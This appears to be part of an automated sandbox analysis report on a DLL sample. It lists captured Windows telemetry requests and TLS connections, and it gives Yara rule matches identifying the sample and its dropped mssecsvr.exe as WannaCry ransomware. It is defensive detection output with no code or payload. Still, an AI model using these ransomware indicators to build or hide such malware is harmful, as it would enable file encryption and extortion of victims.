Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=878617865&PG=PC000P0FR5.0000000IRT&REQASID=1DD9C3D19B0B47D2B0A6A478BC60D632&UNID=338388&ASID=1e2c0544c61e4863b1b14fdf269a8462&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=c8a14dd6b52b4123ba0f40a637af4a47&DEVOSVER=10.0.17134.1&REQT=20220720T112424&TIME=20220720T202458Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=878617865&PG=PC000P0FR5.0000000IRT&REQASID=1DD9C3D19B0B47D2B0A6A478BC60D632&UNID=338388&ASID=1e2c0544c61e4863b1b14fdf269a8462&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=c8a14dd6b52b4123ba0f40a637af4a47&DEVOSVER=10.0.17134.1&REQT=20220720T112424&TIME=20220720T202500Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202459Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202500Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202501Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202502Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202503Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202504Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202505Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202506Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202507Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202508Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202508Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202509Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202510Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202511Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202512Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202512Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202513Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202513Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202514Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202514Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202515Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=542097c333a74271ba02f5787969d542&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=d4d83f7d0cba40d2856d864ae1ad5979&time=20220720T202520Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.5:443 -> 192.168.2.7:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.7:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.7:50286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.7:50285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50292 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50291 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50367 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50479 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50599 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50600 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50603 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50626 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:50769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:50957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:50986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:50991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:51033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:51099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:51139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:51156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:51229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.7:51270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:51288 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:52436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:52704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:53894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:54153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:55914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:57179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:61337 version: TLS 1.2

Source: loaddll32.exe, 00000000.00000002.362894645.00000000013AB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: 4Maoj78D1f.dll, type: SAMPLE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.363553975.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.357997595.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.366748536.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.366049725.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.963055151.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.370397552.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.363277316.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.361155952.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.359661455.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.374918154.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.368310954.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 2704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: 4Maoj78D1f.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4Maoj78D1f.dll, type: SAMPLE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.5.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 7.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.7100a4.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.3.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 6.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.7100a4.1.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: 4.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.7100a4.7.unpack, type: UNPACKEDPE	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
